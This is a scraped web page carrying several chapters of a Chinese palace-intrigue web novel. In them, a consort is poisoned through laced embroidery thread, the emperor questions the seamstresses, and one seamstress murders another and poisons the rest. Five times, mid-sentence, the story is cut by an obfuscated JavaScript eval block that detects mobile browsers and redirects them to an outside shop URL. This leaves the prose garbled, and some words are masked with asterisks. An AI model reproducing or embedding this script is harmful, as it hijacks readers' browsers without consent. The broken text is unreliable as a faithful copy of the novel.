得了皇帝的话,苏忠远从地上爬起来,深深看了贤妃一眼,赶了上去。 这次,谁也拦不住皇帝驾临翊坤宫。 不过几日没来,顾辰枭只觉如今的翊坤宫,处处凄凉。 连庭院中的金砖,金光都暗淡至极,映着月色,显出十分凋敝来。 一个瘦得麻杆似的太监要见到皇帝,正要进殿禀报。 “不必惊扰贞妃,朕自己进去。” 殿内,一灯如豆,照亮眼前。 只见江澜因一身浅藕荷色寝衣,身上压着一层薄被,满头的乌发都散着,斜依在窗边。 靠着幽暗的灯光,一针针绣着手中的什么。 她脸色苍白,不时轻咳几声。不过短短几日,整个人更瘦了,肩膀薄得纸片一般,随着咳声颤抖。 顾辰枭眸光一震。 “因因,朕来看你了。” 江澜因捻着银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300171|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针的手指一顿,难以置信地抬头。她眨了眨眼,难以置信地低吟,“皇上?” 声音带着嘶哑,又掩住口轻咳。 一只小手囫囵地把手中的东西,塞在枕下。 “皇上,真的是您?您肯来看因因了……” 江澜因瞪大眼睛。顾辰枭眼睁睁看着她的眼眶,迅速地红成一片,却咬着嘴唇,死死忍着泪水。 脸上扯出一个笑来,“皇上不怪因因?” 见她只是咳嗽,知道是风寒。 不至于“不成了”。 顾辰枭一颗心放下,眸色淡淡的: “你身上病着,朕自然要多宽纵你些。” 江澜因心中淡笑。 皇帝这样说,便是觉得,她不无辜。 那可不成。 顾辰枭的性子,江澜因也算是摸透了。 无论多小的事,只要皇帝认定是她的错处,哪怕当时放下,口中说着不在意,都过去了。 可往后再对景想起来,只会发作得更厉害。 自己在皇帝眼中,必须是后宫唯一纯白的茉莉/花,不能有一丝污点。 江澜因咳了几声,脸色苍白得几近透明。 “皇上既然还怪因因,想必不是心甘情愿来的。既如此,皇上还是走吧。” 顾辰枭拧眉。 他今夜折腾了三个宫室,累,而且很烦。 强耐着性子哄:“因因,你现在已经是妃了,性子怎么还不改?这么倔强,非黑即白,只会害了你!” 江澜因身子一颤,咳得更加厉害。 皇帝一边拍着她的背,一边道:“朕冷了你这些日子,就是要让你认清楚,错了就是错了!就算你再气,也不该不顾朕的口谕,掌掴一个绣娘!” 说的是绯儿。 江澜因知道皇帝心中,在意的还是金龙缺了的那条腿。 她心中冷笑,面上却委屈。 苍白的唇微微抿着,颤声道:“是,臣妾……知错了。” 看着女孩低垂的头和单薄的肩,顾辰枭只觉心口好似堵了棉花一般难受。 她没辩解,竟是认了。 可见就是她对那绯儿动了手! 皇帝:“如今,那个绯儿也是妃嫔了,你往后不可为难她。” 见江澜因不语。 皇帝又道:“朕刚才进来时,你在做什么?拿给、朕看看。” 江澜因猛地抬头,大眼睛中闪过一丝惊惶。 “没……没做什么,什么都没有。” 皇帝的手,在半空中一顿。 她刚才明明在做针线活……那四爪金龙……莫非,又是给太子的? “拿出来。” 皇帝声音冷若寒铁。 第126章 皇帝嫌弃江澜因 第一百二十六章皇帝嫌弃江澜因 “不、不要……” 江澜因身子弱,根本拦不住顾辰枭。 男人长臂一展,就从靠枕下,摸出了一件东西。 室内,长久的沉默。 接着跃动的烛光,顾辰枭拧眉,看着掌心那一小块浅黄色布料。 从颜色上看,该是给自己这个皇帝的。可…… “因因,这是什么?” 江澜因苍白的面上,浮上浅浅红晕。她咬唇,有几分忸怩道:“是、是荷包。怎么,皇上看不出来?” 顾辰枭滞了滞。 再仔细看掌心那团抽抽巴巴的浅黄色布料,歪歪扭扭的针脚,绣功更是…… 不,根本谈不上什么绣功。 顾辰枭借烛光仔细端详,才勉强认出,巴掌大小的浅黄色绸缎上,绣着一只抽抽巴巴的金龙。 图案不平,扭曲。 倒是五根小小的脚爪,没有绣错。 就,很丑。 皇帝半晌不语。 江澜因发颤的声音传来:“皇上……可是嫌弃因因?” “不。”顾辰枭断然否认,“不是,朕没有……” 没有太嫌弃。 但也…… 他轻咳了一声,“因因,你还病着,不必做这些东西平白耗神。” 不喜欢她亲手制的礼物。 江澜因抿唇,精致的淡眉紧蹙着,她委委屈屈:“皇上分明就是嫌弃臣妾。因因自幼就不擅这些,只想亲手给皇上制一件小物。既然皇上不喜,就算了。” 说着,要往回抢。 顾辰枭下意识一抬手,不给。 “朕倒也不是不喜……” 只是真的戴不出去,只能自己收藏。 皇帝满心无奈。可江澜因支撑着病体,一针一线给自己做的东西,再丑也…… 他低头,仔细看着掌心的那只“荷包”,想找出些优点来夸一夸。 一旁,江澜因静静看着他,眸光幽深。 手中的丑东西翻来覆去看了好几次,顾辰枭动作突然滞住。 不对…… 这东西,是他亲眼看见江澜因作的,出自她手,自是无疑。 知道这女红绣功,就跟书法一样。 从不好练到好,容易。可学好后,手上就有了功底,再想退回到不擅长的状态,却是不能了。 皇帝不动声色,翻开荷包口,看过里面收线的痕迹。 确实,处处都丑,很均衡。 “因因,是你自己做的?不曾假手于人?” 江澜因赌气道:“……是。臣妾不擅于此,让皇上嫌弃了。皇上还是喜欢绣娘手里出来的东西,精致又规矩。” 顾辰枭眸色转深。 这荷包是江澜因所出,那只能说明,累死她,也绣不出寝袍上那条金龙。 金龙定然是出自那几个绣娘之手。 是那个绯儿? 受了何皇后的指使,用太子的四爪金龙,诬陷江澜因。 因因生性单纯,绯儿又很快被皇后的人带走。只怕因因到现在都不知道那金龙的事! 所以站在她的视角,只怕会觉得无比委屈。 皇帝深吸一口气,压下心口泛起的情绪。 还有最后一丝疑惑未解,他问:“因因,你为何要罚那个绣娘绯儿?” “她、她冲撞了臣妾,臣妾一时没忍住,就……” “因因,你不是那样的性子。有朕在,你什么都不要怕,说实话。” 呵…… 江澜因忍住冷笑。 伴君如伴虎,一时触怒皇帝,连为自己辩驳的机会都没有。只能等到皇帝自己消气,大发慈悲地想起来询问。 江澜因低下头,长长的眼睫掩住盈盈的水光。 “臣妾……没有罚她。是她议论臣妾出身,被臣妾身边的大宫女听去,才掌了她的嘴。臣妾不知道她是个有来历的,打不得罚不得。” 顾辰枭拧眉。 绯儿柔弱的模样,在眼前一闪而过。她敢妄议主子? 定是何皇后背地里纵的! 不光何氏这个皇后自己不喜因因,连她身旁的下人,都敢对贞妃无礼! 皇帝目光冷沉,“既是如此,朕发作了你,你为何不辩?” 江澜因哭了。 大滴大滴的泪水,打在顾辰枭虎口上,炽热得灼人。 “皇上、皇上喜欢那个绯儿,臣妾若说了,只怕皇上要罚臣妾的宫女。可宫女护主,本也没错。臣妾只能、只能自己认了……” 她边哭,边咳,很快哭得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306238|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喘不上气来。 顾辰枭只觉心口猛地一抽。 “谁说朕喜欢她?” “皇上不是封了她做妃嫔?不喜欢,为何要封?” 顾辰枭:…… 一阵无语。 这是与朝堂上那帮人,更是与何家的博弈。太复杂,没必要跟江澜因说。 皇帝缓了声气,“……都是朕的不好,因因别哭了。是朕误会了你。” 越是柔声地哄,江澜因哭得越是厉害。 索性钻进皇帝怀中,一头缎子似的青丝覆盖在消瘦的肩上,颤得厉害。 “皇上叫太监训斥了臣妾,之后便再也不来,也不许臣妾通传。臣妾好怕、好怕再也见不到皇上……” 她哭着,突地咳出了一口血。 喷溅在皇帝衣襟。 顾辰枭猛地一愣,“传太医!快传太医!给贞妃看看!” 可毕竟刚从永和宫出来,亲眼瞧见了黄玉珠也是咳血。虽看着严重,也不过是风寒。 顾辰枭轻拍着江澜因的背,安抚:“没事的,等太医来了,喝上药,明日就都好了。朕陪你,朕往后都陪你。” 什么专宠不专宠,什么后宫太平不太平。 他全不在乎了。 九五之尊,天下共主,受命于天的人皇天子。 就是要宠爱一个小姑娘。 谁再敢拦,再敢算计江澜因,他再不会轻饶! 金太医原本被留在永和宫。 得了皇帝召唤,紧赶慢赶又赶到了翊坤宫。 顾辰枭催促:“也给贞妃开暖身的药。尽管用好的药材,不必顾惜,务必要贞妃快些好起来。她身子弱,经不住这病一日日的煎熬。” 一叠声催着。 却见金太医面色难看,几番欲言又止的模样。 江澜因愈发咳得厉害。 薄薄的唇也褪尽了血色,唇角还留着一抹鲜血,未擦干净。殷红和苍白的对比,在冷月映照下,触目惊心。 顾辰枭心口猛地一悸。 “贞妃到底怎么了?说实话!” 金太医面色也一样苍白,他跪下磕头,满脸惊恐无措,“皇上,不、不是风寒……导致的咳血。” “那是什么?” “贞娘娘这是、是……中了毒啊!” 第127章 就这么算了? 第一百二十七章就这么算了? “你说什么?再说一遍!” 皇帝几乎是用牙缝里挤出这句话。他揽在江澜因肩上的手发颤,想要握紧,又怕伤了江澜因。 “是什么毒?贞妃如何了?给朕说清楚!” 愤怒、自责,夹杂着可能失去江澜因的恐惧,顾辰枭呼吸加速,心口都在隐隐作痛。 无形中,独属于帝王的威压释出,重重压在金太医肩头。 年轻的太医脸色苍白,手指发颤,说不出话。 “没用的东西!朕该把你们都……” 袖角传来极轻的拉力。是江澜因,她脸色苍白,强压着咳嗽,吃力地在脸上扯出一个笑来:“皇上……勿要为难太医,哪里怪得了他呢?是……是臣妾自己的身子,不争气。” “因因,不要这样说。” 江澜因苍白的小脸转向金太医,“还请太医放宽心,好好儿为本宫诊治。无论如何,本宫都不怪你。” 她又向顾辰枭撒娇道:“皇上也不许……不许迁怒太医。” 顾辰枭眼底翻涌着强烈的情绪,一阵阵发烫。 他的因因,实在是太善良了。 皇帝:“你听到贞妃的话,好好履责,朕……不会降罪于你。” 一句话,免了金太医可能受到的牵连,保住他性命。 金太医深吸一口气,稳下心神。 “微臣为娘娘再请一次脉……这毒性甚烈,所幸娘娘摄入的剂量不大。而且,似乎不是直接吞服的。” 进入状态,金太医喃喃自语。 “怪了,若不是服食,该是从何处沾染……” 年轻的太医鼻子耸动了几下,疑惑的目光移在江澜因脸上,身上。 顾辰枭眉心直跳,“大胆!” 怎可直视他的因因? 金太医如梦初醒,跪下立陈道:“皇上,微臣僭越,请贞妃娘娘这件……这件贴身的寝袍,一验。” 片刻后。 金太医双手捧着托盘,里面是江澜因那件淡藕荷色的寝袍,“皇上,竟是有人将此毒下在了绣线上。” “什么?” “剂量不大,只集中在衣袖锁边处。可这衣裳,只怕是娘娘每日贴身穿着,难免沾染在双手上,这才……” 顾辰枭眼睛猛地瞪大,心脏砰砰直跳。 他的因因,叫别人这么算计!是要害了她一条性命去! 皇帝还未反应过来,江澜因撑着瘦弱的身子,一把抓过皇帝手中的荷包。 重重抛在地上。 她向金太医大声道:“皇上也碰了本宫这双手,快!快给皇上看看!若皇上龙体有什么,本宫只怕,万死难辞其咎!” 一番查验后。 金太医:“娘娘放心,皇上并未沾染上,龙体无碍。” 江澜因的力气似都用尽了般,身子软软倒下。 被顾辰枭抱在怀中。 他的因因,吃了这么大的苦头。 心里想的,还是他这个皇帝。她待他,是真心的。 小心地扶着江澜因躺下,顾辰枭:“这么说,贞妃没有性命之虞?” “多亏皇上睿智,发现得早。微臣为娘娘调配几剂清毒饮,再加上药浴,娘娘好好儿养着,定会痊愈。” 一颗心放下了大半。 “朕把贞妃的病交给你。你做得好,朕提拔你做右院判。” 顶林太医的缺。 做得不好会怎样,皇帝没有当着江澜因的面说。只是淡淡看了金太医一眼。 金太医忙道:“微臣一定竭尽全力,护娘娘安康。” 太医退下后。 “皇上,臣妾怕……” 江澜因躺在榻上,泪水顺着眼角,直直流下,打湿枕头。“臣妾这次,真的差点就再见不到皇上了……” 马钱子是致命的**。 年深日久地接触,不死也疯。 江澜因:“皇上,到底是谁要害臣妾?臣妾求皇上,求皇上庇护。” 她声音很轻,虚弱至极,夹杂着哭腔。 顾辰枭心中油煎似的难受。 让江澜因进宫,初衷就是护她周全。可现在……他这个皇帝,居然险些不曾护住。 “因因,朕会查。朕答应你,一定给你一个交代。” “臣妾信皇上。”江澜因在枕上点头,泪水流得更多,“臣妾只是,害怕。” 顾辰枭心中轻叹。 因因年纪小,遇到这种事,担忧害怕很正常。她不是在催促他,她只是单纯地心里害怕,需要安慰。 毕竟,能这么害她的人,一定在她身边。 皇帝伸手,按了按额角。 “苏忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306239|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远,叫金太医给朕煮提神的参茶。朕要夜审翊坤宫,所有人。” 很快,就轮到了绣房。 经手寝袍的几个绣娘,齐齐地垂着头,跪在地下。 皇帝声音泛着冷意:“说。” 绣娘们拼命摇头,说话带着哭腔,“奴婢不知道,奴婢们什么都不知道,不是奴婢,不是奴婢啊!” 顾辰枭侧过脸,向身边病榻上的江澜因:“很晚了,朕提人出去审,你好好儿歇息好不好?” 江澜因一言不发。 只是拉着皇帝一只大手,手背贴在自己微凉的小脸上。 不让皇帝走。 顾辰枭心中轻叹。小姑娘是吓着了,急着找到始作俑者。 也是离不了自己这个皇帝。 只得当着她的面儿再审。 可几个绣娘胆怯,不管怎么问,口中只是翻来覆去只是说什么都不知道。 哭哭啼啼,听得顾辰枭心中烦躁。 想叫人拉去慎刑司里一边剜肉一边审。 江澜因轻声道:“依臣妾看,未必、未必就是她们。她们是内务府新选送过来的,与臣妾无冤无仇,怎会下这么狠的手?” 顾辰枭眉头皱得愈紧。 傻因因啊,还以为内务府干净。 她还不知道那些世家的手,能伸得有多长! 马钱子……又是马钱子。 孙敬带来的箭簇上,沾染的也是这种毒。 是……巧合吗? 那个名字,那张脸,呼之欲出。 可,能动她吗? 思绪纷乱至极,顾辰枭长长地吐了一口浊气。再看向那几个绣娘,眼神冷厉之至。 该杀了她们。 先安抚住因因。 皇帝刚要开口。 江澜因轻咳着,扯了扯顾辰枭的手,声音闷闷的,“皇上,臣妾累了,不想查了。” 皇帝一愣。 马上反应过来。他能想到的事,因因聪慧,也能想得到。 她定是猜到了…… “因因,你别怕。朕说过,这次一定会为你做主。” 江澜因垂下眼睫,很轻很轻地摇了摇头,“是臣妾自己不好,惹来了今日之祸。臣妾……臣妾不愿身边再有人流血。此事,就这么算了,好不好?” “皇上,求你了。” 第128章 心疼皇帝?她又没疯 第一百二十八章心疼皇帝?她又没疯 “那可是马钱子剧毒!你险些被害去一条性命,如今,你说就这么算了?” 顾辰枭终是有些压不住怒意,“因因,你就这么不相信朕吗?” “不是的,臣妾没有。” 女孩微凉的小脸,贴在皇帝手背上。突地,男人感到一片湿意。 “皇上,因因只是不愿皇上……左右为难。” 极轻的一句话。 顾辰枭愣住了。 他御极多年,是这世间最有权势,最尊贵之人。 早习惯了身边每个人,对他都有所求。包括皇后,三皇子和太子…… 可却没人想过,他这个皇帝是否也会为难。 只有因因,只有他的因因…… 顾辰枭张了张口,一时竟说不出话来。 手背上湿意蔓延,更兼江澜因纤细的指尖,在皇帝掌心轻轻摩挲。 心口软得不行。 顾辰枭看了地上哭哭啼啼的几个绣女一眼,“就听贞妃的。你们先下去吧。” 几个绣娘只觉是死里逃生,一声不敢再言语,退出殿外。 顾辰枭目光淡淡地扫过苏忠远。 苏忠远领着旁的下人,一起退出。 殿内烛火莹莹中,顾辰枭道:“今夜太晚了,你身子不好,不便挪动。朕在西暖阁陪你,可好?” 江澜因不说话,纤细的手指不肯松开。 顾辰枭失笑,“不舍得朕走?” 江澜因闷闷地嗯了一声,把皇帝的手抓得更紧。 顾辰枭有些无奈。 旁的嫔妃也常挽留自己这个皇帝,可她们没一个敢像因因这样,有话直说。 因因到底与她们所有人,都不一样。她太单纯。 沉吟了片刻,顾辰枭:“既然因因想,朕今夜,就陪着你。” “多谢皇上。” 带着泪痕的小脸抬起,甜甜地一笑。 江澜因从榻上撑起身子,声音很轻,“臣妾伺候皇上更衣。” “躺下。” 双手按在女孩肩上,扶着她躺好。顾辰枭不愿再叫旁人进来伺候。 “因因别动。朕,自己来。” 皇帝解开外袍,更衣毕,上了榻。 “皇上,”江澜因挣扎了一下,“臣妾身上马钱子的毒性还未除,怕沾染龙体……” “不怕。” 大手小心翼翼垫起江澜因的头,另一只手护住她的纤腰,把人揽入怀中。轻柔的动作,如抱着这世间最易碎的珍宝。 “因因知道心疼朕,朕很高兴。” “睡吧。” 灯烛熄灭,明亮的月光穿窗入户。 一片寂静中,江澜因睁开眼睛。 皇帝身上,龙涎香的香气在鼻端浮现。这样的顶级品质的香料,一克就价值万金。 不过是皇帝日常里随手就用的东西罢了。 心疼皇帝? 怎么会?她又没疯。 她那样说,不过是要留下那些绣娘的性命。 放长线,钓大鱼。 另一边。 绣房内。 绣娘们抱在一起瑟瑟发抖。 有人忍不住哭出声:“不是我,真的不是我,我没有那么大的胆子,敢毒害贞妃!” 何皇后没叫她这么做! 红肿的眼睛抬起,带着恐惧和怨恨的目光在其余无人脸上一一刮过,“是你们谁?痛痛快快站出来,别连累咱们姐妹一起**!” 婉儿一愣,压低嗓音呵斥:“你疯了?你没下毒,咱们自然也没有!你胡乱怀疑人,是叫咱们几个彼此猜忌不成?” 可她的话,旁的绣娘根本听不下去。 一个个忙着自证,“不是我!我日日与你们都在一处,我有什么动作,你们都看得清清楚楚!” “自然也不是我。” “不是我,真的不是……” 婉儿觉得不对,不得不加大音量:“都别说了!贞妃是在挑唆咱们,你们都看不出来?” 头一个说话的绣娘看向婉儿,眼中全是怀疑:“是你,对不对?咱们都跟贞妃无冤无仇,只有你……是你下的毒,就是你!” 婉儿愣住了。 又感觉到其它五人的目光死死盯在自己身上,她只觉后背一阵阵发凉。 不自觉也跟着开口辩解:“不是我!贞妃那寝袍上没有刺绣,我全程都未沾手,就算我想,也没机会!” 旁人目光中怀疑丝毫没有减少。 毕竟,婉儿平时对贞妃的不喜,从不隐藏。所有人都知道。 绣娘们围过来,婉儿被迫一步步后退。 得想个法子,快些! 不然,自己只怕就要被这五个愚蠢的绣娘给退出去顶罪了! 婉儿眼珠狂转,突然指着最早开口说话的绣娘棋儿,大声道:“是她!是棋儿给贞妃下了毒,还要诬陷我!你们想想,咱们平日里用的绣线,是不是都经过棋儿的手!她想下毒,太容易了!” 众人逼近的脚步,这才一顿,慢了下来。 有人试探道:“要不要,把棋儿交出去?”证明自己无辜。 “不行!” 婉儿立时反对,“贞妃不是说不查了吗?既然她都不在乎是谁害了自己,咱们干什么要多此一举?” 众人沉默下来,各自眼神闪烁。 皇上和贞妃,真的不查了?还是只是缓兵之计? 她们能逃过去吗? 她们……怎么才能活下去? 见众人都不说话,也没有下一步的动作。婉儿舒了一口气,她率先冷静下来劝道:“咱们在这里乱猜也没有用。反正咱们都没做过,就算贞妃还要往下查,也只能查出咱们都是无辜的。你们何必这样担惊受怕?倒显得心虚似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308286|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “婉儿,你一贯是个有主意的。你说如今该怎么办?” “该怎么办就怎么办。这个时辰,该睡觉了,咱们就好好睡一觉。外人看了,也知道咱们心胸坦荡。” 说服了那几个绣娘。 可其中一个不依不饶,指着棋儿,“咱们可以睡觉,她却不行!万一咱们睡熟了,她跑了,咱们可说不清楚。” 棋儿脸色苍白,“你们疯了?都说了根本不是我,你们这是诬陷!” 可这时候,所有人一门心思,都只想把这个天大的罪责从自己身上撇清。 好不容易抓到一个棋儿背锅,怎么都不肯放过。 几个人一商量,“就把她捆在梁上,只一夜,死不了。明早儿咱们再把人放下来,轮流看着她。” 棋儿吓坏了,“不、不要……” 可双拳难敌四手,她很快被捆了起来,双手反剪在背后,吊在梁上。 棋儿不停地哭着,“不是我,真的不是……” 吵得谁都无法入睡。 婉儿起身,扯下一块软布,塞进她嘴里,堵住哭声。 婉儿低声:“我知道,你是无辜的。” 棋儿愣住,瞪大眼睛看着她,却说不出话来。 婉儿叹了口气,“今晚大家都吓坏了。等明日睡醒,冷静下来,我会说清楚,不是你。大家会相信的。” “你……你别怪我。” 可到第二日清晨。 凄厉的惨叫声,从绣房中传来。 棋儿**。 绣娘们都是第一次看见**,更别说是昨日还朝夕相处的姊妹。无论婉儿怎么劝,余下四人都根本冷静不下来。 一个绣娘不管不顾地推开门,跑了出去。 要去找何皇后。 剩下三人紧紧抱在一起,一个哭道:“我受不住了。我去找贞妃娘娘,她……她素来仁慈善良,已经说了不再查了,会饶了我们性命……” “啪!” 一记耳光,重重掀在那个绣娘脸上。 婉儿身子挡在门口,“谁也不许去找贞妃!” “可、可是……” 指着还吊在梁上飘飘荡荡的尸体,婉儿冷道:“你们看看,棋儿身上的是什么?贞妃根本就是口中仁慈,实则虚伪。她不会放过我们的!” “人就是她害死的!” “什、什么?” 看清楚棋儿手里攥着的东西,三个绣娘都呆住了。“怎会……怎会是贞妃?” 下一刻。 “咣当”一声! 绣房的门被从外一脚踹开。 连带着撞得婉儿踉跄了一下,扑倒在地。 她回头,只见日光照射进来,勾勒出一道纤细的倩影。 江澜因淡淡道: “本宫要杀你们,不过一句话的事。” “用得着这样费事儿吗?” 第129章 她要灭口? 第一百二十九章她要灭口? 众绣娘呼啦啦跪了一地。 只有婉儿飞快地从地上爬起来,仰着脖子,直视江澜因。“贞妃娘娘为何特地贵足临贱地,来奴婢们的绣房?” 江澜因没回答。 她身后的雪色厉声道:“大胆!轮得到你质问娘娘?” 婉儿身子一颤,反而挺得更直,“娘娘是来灭口的吗?” 这话一出,江澜因看了她一眼,面上含笑。“本宫再不来,还不知你们要把什么栽派到本宫身上。” 她看了一眼吊在半空的棋儿,“为何说她是本宫杀的?” 叫小太监进来查看。 “娘娘,这**的绣娘掌心用血写了一个贞字。” 跪在地上的绣娘瑟瑟发抖,婉儿大声道:“你都听见了,棋儿临死挣扎着留下你的封号,不是你,还能是谁?你口中说放了咱们,不再查了,却要背地里谋害。贞妃,你好狠的心!” 这话一出,跪在地上的三个绣娘身上更是抖得厉害。 她们刚才还想过投奔贞妃,或许还能得一条生路。可没想到贞妃一样心狠手辣,要她们的命! “本宫没必要背地里**。” 婉儿眼珠一转,“你……你那是为了在皇上面前装作贤良淑德。” 江澜因笑了。 这小绣娘……倒是说得对。 感觉到地上跪着的三个,已在恐惧的重压下,濒临崩溃。 江澜因也戏耍得够了。她看向婉儿,“绣娘婉儿,戕害同僚,污蔑妃嫔,该当何罪?让本宫想想……” 纤细的指尖抵着太阳穴,江澜因侧头一笑,“大抵是,诛灭九族?” 婉儿脸色雪白雪白,“岂能、岂能凭你胡乱猜测就定罪?贞妃别忘了,你头上,还有皇上、皇后娘娘呢!” 另外三个绣娘听得这一句,身上稍松。 是啊,还有何皇后呢。 她们是皇后的人,皇后会捞她们的……吧? 江澜因不为所动。“无论本宫头上有谁,都有宫规祖制、大盛例律约束。你**,就该偿命。” 三个绣娘这才反应过来。其中一个忍不住,“怎会是婉儿杀的?咱们打小儿就在一处学女红,情同姊妹一般……” 她的声音渐轻下去。想起了昨夜,为了自己脱罪,都拼命指责别人。 是婉儿指证了棋儿,也是婉儿怂恿她们把人绑起来,还堵住了她的嘴。 难道,真的是…… 三人看向婉儿的目光充满了疑惑、恐惧和不解。 “婉儿,你快和贞妃娘娘说,说你是无辜的!你快说啊!” 婉儿张了张嘴,竟说不出来。 “皇上寝袍上的金龙,也是你绣的吧?你绣工好,手脚又快,绣了两件,一件五爪,一件四爪。” 江澜因淡淡道:“有绯儿在前面顶着,你藏得真好。” 婉儿身子紧绷着,听着江澜因的话,她突地一笑,双肩垂下来。“贞妃,你早知道了,为何不辩解,为何不和皇上说?” 为何? 自然是因为此事顾辰枭都说不出口。 江澜因要是解释,只会越抹越黑。 能装作不知道,轻飘飘揭过去,才是最好的结果。 没必要和婉儿解释,江澜因看向脚下跪着的三个绣娘,“你们若肯在皇上跟前说出实情,本宫保你们性命。” 三个绣娘你看看我,我看看你,都把头埋得很低,没人敢说话。 “不许去!贞妃是骗你们的!你们若是……若是说出什么不该说的,难道就能活?别傻了!” 婉儿大叫,“贞妃根本不把你们的性命当一回事!” “你们的命,确实不值什么。” 江澜因淡淡道,看着几个绣娘的肩膀垮下去。 “你们真正的主子,都不把你们的命当回事,你们自己也轻贱自己,却要求本宫看重你们。你们也配?” “不过,这次,本宫的话作数。你们想不想活命,自己想清楚。” 一个绣娘受不住了,不顾同伴的阻拦,膝行上前。 “贞妃娘娘,奴婢想活……可奴婢不能害了家人啊!” 江澜因淡淡看她一眼。 “没办法,那就只能去**。” 那绣娘一滞,脸色惨白惨白。她鼓起勇气,伸手攥着江澜因裙角。 “娘娘……娘娘您放过奴婢吧。奴婢没绣那龙袍,也没给您下过毒。求您……求您娘娘饶了奴婢一条贱命……” 她不敢指证何皇后,只能求江澜因饶命。 江澜因低头,看着在自己脚边缩成一团的小宫女。 “你不是不做,是还没轮到你。” 绣娘身子一颤,哭喊的声音弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308287|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多。 江澜因不再看她,“本宫还是那句话,只能保你们一条命。可你们想好了,若是肯在皇上面前,把一切都说出来,就算是皇后,难不成敢当场就处置你们的家人?” “皇后没那么蠢,皇上也不会让她那样做。” 三个绣娘一愣,面面相觑。 江澜因:“你们一味顺从,到无可利用那一日,你们的家人才只会死路一条。” 脚边跪着的绣娘猛地抬头,脸色苍白,眸子却极亮。 “奴婢愿意……” “住口!”婉儿大喊,她什么都顾不上了,伸手指着江澜因,“她说谎!她就是想栽赃皇后娘娘!你们蠢,才会信这种话……” “够了,婉儿!” 那绣娘再也忍不住,训斥婉儿闭嘴,“你又是什么好东西?一同长大的棋儿都下得了手,只为了栽赃贞妃。我们不过是想活,又有什么错?” 婉儿愣了。 大大的眼睛,在三个自幼一起长大姊妹脸上一一看过。 她笑了一下,单薄的身子颤抖。 “就知道……就知道你们都靠不住。” 三个绣娘心觉有异,拧眉看向婉儿。 江澜因也静静看着她。 婉儿笑声渐大,捧着肚子,前仰后合。“你们别想帮着贞妃,去害皇后娘娘。你们啊,没机会了。” “什、什么?” 江澜因脚边的绣娘身子猛地一颤,脸上现出痛苦之色。 捂着肚子倒下。 “婉儿,你……你什么时候……” “混在你们今早梳头用的刨花水里。”婉儿边笑边说,“你们若忠诚,皇后娘娘会给你们解药。不然,你们就只能,去**。” “你、你……” **发作得很快,三人接连倒下,在剧痛中意识模糊。 婉儿得意地笑着,眼中流出泪来。 她不想的,她也不想。 可,决不能眼睁睁看着江澜因翻盘。 她得死! 必须得死! 眼前一暗,是江澜因一步步向着婉儿走来,遮蔽了身后射进来的天光。 江澜因看着眼前的小绣娘。 突地笑了。 “你就是丽嫔的那个妹妹吧?果然……” “和你姐姐一样,是个恶毒的,蠢货。”